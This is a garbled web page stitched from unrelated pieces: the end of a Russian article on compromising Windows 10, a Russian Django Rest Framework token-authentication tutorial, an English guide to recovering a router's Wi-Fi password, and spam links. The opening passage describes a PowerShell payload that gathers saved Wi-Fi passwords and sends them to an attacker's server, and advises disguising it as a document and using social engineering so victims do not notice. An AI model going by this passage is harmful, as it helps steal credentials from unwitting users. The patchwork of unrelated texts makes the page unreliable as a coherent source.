Используемая полезная нагрузка очень проста. Мы перебираем сохраненные пароли для Wi-Fi, отправляем на сервер и ничего более не делаем. В боевых условиях должен быть код для открытия текстового или pdf файла, чтобы еще лучше убедить жертву в достоверности происходящего. Соответственно, нужно продумать более изощренную социальную инженерию для предотвращения быстрого раскрытия наших вредоносных замыслов во время выполнения полезной нагрузки в целевой системе.

Заключение

Описанный метод далеко не идеален. Следует проделать дополнительную работу для маскировки полезной нагрузки под обычный файл. Также следует продумать методы доставки на основе предварительной информации, собранной о жертве. С другой стороны, описанный метод демонстрирует, насколько просто можно скомпрометировать систему Windows 10 и получить нужную информацию.

Все упомянутые приложения и реализованные шаги выполнялись исключительно на одном телефоне на базе Android с установленным линуксовым дистрибутивом. Помимо телефона использовались два веб-сервера и полезная нагрузка, написанная на PowerShell.

Другие мои проекты доступны на GitHub. По любым вопросам можете связаться со мной через Твиттер @tokyoneon_.

Django Rest Framework (drf) поддерживает простую аутентификацию с помощью токена. Такой тип аутентификации чаще всего используется для доступа к API. В этой статье будет показано как использовать такой тип аутентификации в вашем API.

Где используется токен-аутентификация

HTTP является ‘stateless’ протоколом (не хранящий состояния). Это значит, что, каждый запрос для сервера будет новым, хоть вы уже обращались к нему десяток раз. Из-за этого, в заголовке каждого запроса, содержится множество информации, в том числе данные аутентификации.

Аутентификация может работать по разному. Ниже часть популярных реализаций, которые поддерживает Django Rest Framework:

  • BasicAuthentication
  • TokenAuthentication
  • SessionAuthentication
  • RemoteUserAuthentication

Преимущество TokenAuthentication и SessionAuthentication над BasicAuthentication в том, что вы передаете пару логин и пароль единожды, а затем можете использовать уникальные идентификаторы. В случае сессий идентификаторы помещаются в заголовок Cookies, а у токенов — сгенерированная строка, например «eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9», в заголовке Authorization. 

Аутентификация на основе сессий может создать сложности в некоторых случаях, например:

  • Вам нужно использовать одну сессию в нескольких доменах. Во многих случаях это будет невозможно сделать;
  • Если у вас несколько клиентов в т.ч. настольные и мобильные приложения. Сессии могут хранить не только данные сессии, но и об приложении. Они могут быть не нужны и с ними будет сложнее работать;
  • Токены являются лучшим способом защиты от CSRF атак.

Сам фреймворк drf может одновременно работать с несколькими типами аутентификации. Т.е. использовать сессию для браузера и токен для мобильного приложения.

Различия обычной токен аутентификации от JWT и OAuth

Со словами токен аутентификации так же часто появляются понятия JWT (JSON Web Token) и OAuth 2. Это может создать путаницу. Различие можно понять, если представить строку »eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9″ как токен. Роль этого токена в разных случаях:

  • Обычная токен аутентификация — это значение в базе данных, которое связано с пользователем и проверяется в каждом запросе;
  • В случае JWT — это закодированные и подписанные данные, которые можно раскодировать и получить JSON строку идентифицирующую пользователя и срок работы токена. Преимущество в том, что запрос к базе данных не делается;
  • OAuth 2 — является протоколом авторизации, а не аутентификации. Он определяет какие права будут у другого приложения для доступа к ресурсам пользователя. Отдельно определяется сам токен, который может быть, например, JWT.

Эти возможности реализуются через сторонние библиотеки. JWT, например, можно создать через Dj-Rest-Auth (раннее Django-rest-auth), а OAuth через djangorestframework-oauth.

Создание тестового приложения

Создадим простое приложение, на котором будет показан пример использования аутентификации с токеном. Установим необходимые пакеты:

pip install django djangorestframework

Создадим проект и приложение внутри него:

django-admin startproject api
cd api
python manage.py startapp app

В файле настроек проекта добавим установленный фреймворк ‘djangorestframework’ и созданное приложение ‘app’ в INSTALLED_APPS:

# api/setting.py

INSTALLED_APPS = [
    ....
    # Установленные пакеты
    'rest_framework',

    # Созданное приложение
    'app.apps.AppConfig',
]

Обновление INSTALLED_APPD для Django Rest Framework

Создадим вьюшку, которая будет возвращать какое-то сообщение:

# app/views.py

from rest_framework.views import APIView
from rest_framework.response import Response


class Index(APIView):

    def get(self, request):
        content = {'message': 'Hello, World!'}
        return Response(content)

Создание простого приложения с возвратом сообщения в Django Rest Framework

Свяжем этот класс с URL:

# api/urls.py

from django.urls import path
from app import views

urlpatterns = [
    path('', views.Index.as_view()),
]

Объявление маршрута для Django Rest Framework

Выполним миграцию и запустим сервер:

python manage.py migrate
python manage.py runserver

Выполнение миграций и запуск сервера для Django

В Django Rest Framework предусмотрены заранее готовые разрешения, которые мы можем использовать. Их достаточно много. Мы будем использовать только «IsAuthenticated» проверяющий, что пользователь прошел аутентификацию предоставив верные данные:

from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework.permissions import IsAuthenticated 


class Index(APIView):
    permission_classes = (IsAuthenticated,) 

    def get(self, request):
        content = {'message': 'Hello, World!'}
        return Response(content)

Теперь, при открытии страницы, будет появляться сообщение »Authentication credentials were not provided.» и 403 ошибку так как мы не аутентифицированы. Так же может быть 401 ошибка, если у вас будет возвращаться заголовок с «WWW-Authenticate» (может зависеть от установленных классов аутентификации).

Ошибка с аутентификацией в Django Rest Framework

Настройка аутентификации

Токен-аутентификация работает через отдельное приложение, которое нужно подключить в «INSTALLED_APPS». Это приложение устанавливается вместе с django rest framework:

# api/settings.py

INSTALLED_APPS = [
    ....
    # Установленные пакеты
    'rest_framework',
    'rest_framework.authtoken',

    # Созданное приложение
    'app.apps.AppConfig'
]

После добавления приложения нужно обновить настройку указывающие, что drf будет принимать токены для аутентификации. Это делается через следующий код:

# api/settings.py

REST_FRAMEWORK = {
    'DEFAULT_AUTHENTICATION_CLASSES': [
        'rest_framework.authentication.TokenAuthentication',
    ],
}

Объявление общего типа аутентификации в Django Rest Framework

Подобная настройка говорит, что если будет требоваться аутентификация для drf приложений, она будет работать только через токен. Вы можете добавить и другие классы. Например с ‘rest_framework.authentication.SessionAuthentication’ вы сможете использовать ваши drf приложения через браузер.

После этого повторно выполнить миграцию:

python manage.py migrate

Предыдущий пример указывал тип аутентификации который будет использоваться по умолчанию, но вы так же можете указать его отдельно. Для вьюшек есть атрибут, а для функций декоратор:

....
from rest_framework.authentication import SessionAuthentication

class Index(APIView):
    permission_classes = (IsAuthenticated,)
    authentication_classes = (SessionAuthentication,)
...

Создание токена

Токен выдается какому-то пользователю. Если у вас нет пользователя, то можете его создать:

python manage.py createsuperuser --email test@test.ru --username test

Один из способов отправки токена — это ‘manage.py’. В примере ниже мы выдадим токен пользователю ‘test’:

python manage.py drf_create_token test

Создание токена через manage.py в Django

Кроме получения токена через ‘manage.py’ это можно сделать по url. Для этого есть отдельная вьюшка ‘obtain_auth_token’, которую нужно указать в ‘urls.py’:

# api/urls.py

from django.urls import path
from app import views
from rest_framework.authtoken.views import obtain_auth_token

urlpatterns = [
    path('', views.Index.as_view()),
    path('token/', obtain_auth_token),
]

После этого мы можем обращаться по url ‘http://127.0.0.1/token’ для получения токена. Пример с requests:

import requests

url = 'http://127.0.0.1:8000/token/'

r = requests.post(url, data={
  'username': 'test',
  'password': 'test'
  }
)

Выполнение запроса для получение токена в Django Rest Framework

Процесс получения токена достаточно простой. В случае вьюшки ‘obtain_auth_token’ — это наследование с APIView, использование сериализатора, со сверкой логина и пароля, и модели ‘Token’, которая генерирует и сохраняет токен. Сама таблица с токеном выглядит так:

Таблица с токенами в Django Rest Framework

Пример создания токена через shell и модель.

Создание токена в Django через обращение к модели

Отправка запросов с токеном

Что бы передать токен его нужно поместить в заголовок ‘Authorization’. Пример через requests:

import requests

url = 'http://127.0.0.1:8000/'

r = requests.get(url, headers={
  'Authorization': 'Token 8072f04f9a1eacbd52fcf7d8289a52245f2454eb'
  }
)

Или в Powershell и Curl:

Invoke-RestMethod 'http://127.0.0.1:8000' -Headers @{'Authorization'='Token 8072f04f9a1eacbd52fcf7d8289a52245f2454eb'}

curl -H "Authorization: Token 8072f04f9a1eacbd52fcf7d8289a52245f2454eb" http://127.0.0.1:8000

Отправка токена через Powershell

Теги:

#python

#django

#rest

Updated: 09/12/2023 by

If you are using a router that provides Wi-Fi Internet connections, you need a password to authenticate a connection to the network. If you don’t know the password, but you own or administer the router yourself, view the password or reset it to something new using the steps below.

First, let’s briefly discuss how Wi-Fi passwords work so you can better understand how they’re configured.

Wireless encryption methods

The three types of authentication for consumer Wi-Fi are WEP (Wired Equivalent Privacy), WPA and WPA2. Most home routers have all three options, but WPA2 is the most secure and should always be used if possible.

  • WEP stands for Wireless Equivalent Privacy and was introduced in September 1999, and originally provided only 64-bit encryption (it was later upgraded to offer 128-bit encryption). WEP was officially deprecated in 2004 because it is less secure than the newer methods. However, it is still found on modern routers for purposes of backward compatibility.
  • WPA stands for Wi-Fi Protected Access. Introduced in 2003, it supports 256-bit encryption methods including AES (Advanced Encryption Standard). It was intended to bridge the gap between WEP and the more complex WPA2.
  • WPA2 is an updated version of WPA which was introduced in 2004. It enforces AES and implements some stronger supporting protocols such as CCMP (Counter Cipher Mode). While WPA2 still has some known vulnerabilities, they require significant computing resources, and the attacker must already be able to access the local wireless network. WPA2 is still used today as the standard for robust consumer-level wireless encryption.

Note

Most routers offer two types of WPA2 encryption, called WPA2-Personal and WPA2-Enterprise. The enterprise version of WPA2 is for corporate settings where an IT department controls company-wide security policies. For other settings, including wireless Internet in your home, WPA2-Personal is the encryption method to use.

All these methods require a password, also known as an encryption key when you try to connect. If you provide the correct key, a wireless connection is established.

I don’t know what my key is. How do I connect to the wireless network?

If you forgot the key for connecting to your wireless network, you need to access the router’s configuration interface using an Internet browser.

Normally, you could do this over the wireless network. But because you don’t have the password, you cannot.

Therefore, to connect to the router, you have two options:

  • Create a wired connection to the router.
  • Reset the router to its factory defaults.

Create a wired connection to the router

Category 5 cable

If you have an Ethernet cable, and an Ethernet port on your computer, you can create a wired connection to your router.

Routers sometimes come packaged with a short Ethernet cable, also known as a category 5 cable, for exactly this purpose. It should have a connection at each end like the one pictured at right. If you don’t have one, you can purchase one online, or at your local electronics store. A short cable length is fine — 3-feet should be sufficient.

Ethernet cable connected to the back of a combination DSL modem/wireless router

Connect one end of the cable to your computer or laptop. Connect the other end to the back of the router, as shown in the picture.

Note

Your router may have one Ethernet port for incoming connections, labeled «WAN» that is for the Internet connection. Do not connect your Ethernet cable to this port. Instead, connect your cable to one of the ports marked «LAN.» These ports distribute the Internet to other devices, such as your computer.

After connecting the cable to both your computer and your router, your operating system should automatically detect the connection. You can now proceed to access your router’s configuration.

Reset the router to its factory defaults

If you don’t have an Ethernet cable, or if making a wired connection is otherwise inconvenient, you can reset your router to the factory default settings. Doing so resets the name of your wireless network also known as the SSID (service set identifier) and the encryption key. These default values are often found printed on a sticker affixed to the case of the router itself.

If you decide to factory reset your router, be aware that any other custom configuration or other changes are going to be reset to the default settings. Check the manufacturer’s documentation for your model of router before proceeding. If you don’t have the physical instruction manual, you can find it online under the «support» section of your manufacturer’s website.

After resetting your router to factory defaults, you’ll be able to connect to the wireless network using the default SSID and encryption key. When you are connected, you can proceed to the next step, accessing your router’s configuration.

For more information about resetting your router, see: How to reset a forgotten username and password on a router.

Accessing the router configuration

Entering the router address 192.168.0.1 into the address bar of Firefox web browser

Once you have connected to your wireless router (by a wired connection, or using the default wireless network credentials), you can access your router’s configuration in a web browser. In a browser window, enter your router’s IP address in your browser’s address bar, and press Enter.

If you’re unsure what your router’s IP address is, you can try one of these common router addresses:

  • 192.168.0.1
  • 192.168.1.1
  • 10.0.0.1
  • 10.0.1.1

Some routers also allow you to connect by entering a hard-coded URL (uniform resource locator). For instance, many Netgear wireless routers allow you to use the address www.routerlogin.net to access your router.

Consult your router’s manual for the correct address of your router, and navigate to that address in your web browser.

Logging into the router as an administrator

After navigating to your router’s IP address in your web browser a login prompt should appear asking your for the router’s administrator username and password.

Router admin login for a Netgear wireless router

If you don’t remember the administrator name and password, or if you’re unsure, consult your router’s manual for the default login values. Below are commonly used insecure defaults.

  • admin / admin
  • admin / password

Warning

Never leave your router’s administrator name and password at their default values as they anyone can find them via an Internet search. Always change these values when configuring your wireless router. At a minimum, change the password to a strong password you’ll remember.

If you cannot log into your router because you can’t remember the login information, and the default username and password don’t work, you can reset the router to factory defaults.

Once you have logged in, you can view or change your router’s configuration.

Viewing and changing the encryption key (wireless password)

Every router’s configuration interface is different. Below is an example of how a router’s setup may appear.

Wireless WEP key setup screen

In your router’s configuration interface, look for a section called Wireless, or something similar. You’re looking for the page where you can change the wireless network’s configuration, including its SSID name and authentication key. If you’re unable to locate it, consult your router’s manual for specific instructions.

When you find the wireless network configuration page, you can view the values and make changes. For Authentication Method, choose WPA2-Personal. You can set the encryption key (password) in one of the text fields below this. Consult your manual if you’re unable to locate the correct field.

The encryption key is often displayed in plain text, so if you only need the current password, it should be visible on this page.

At this time, change your SSID name, which is the name that appears in the list of available wireless networks.

If you make any changes to your router’s configuration, make sure to save them. For instance, in the example pictured above, you’d click the Apply button.

Note

Many modern wireless routers offer two wireless networks which broadcast at frequencies of 2.4 GHz and 5 GHz, respectively. The configuration for each network may appear on separate pages. If you are using both networks, make sure they are both configured the way you want, and you know the password for each. Consult your router’s manual for more information regarding dual-band Wi-Fi configuration.

Verify you can connect to the wireless network

  • Make sure all changes are saved and you have restarted your router, if necessary. If you are using a wired connection, disconnect the Ethernet cable now.
  • If you changed the SSID or key, you are disconnected from your router when the new configuration takes effect. Therefore, you’ll need to log into your wireless network using the new credentials.
  • If you reset your router to its factory defaults, we recommend you change the router’s administrator username and password to something other than the default values. You can do this from in the router’s configuration interface. Consult your router’s manual if you have any difficulty locating the correct menu and configuration options.

If you’ve tried all the above suggestions and still can’t log on, we recommend contacting the router manufacturer directly for technical support.

Другие наши интересноые статьи:

  • Аудио роутер скачать 64 bit на русском для 10
  • Батарейка для роутера алтел 4g
  • Батарея на роутер теле2 цена
  • Батарейка в роутере d link
  • Ател настройка роутера tp link

  • 0 0 голоса
    Рейтинг статьи
    Подписаться
    Уведомить о
    guest

    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии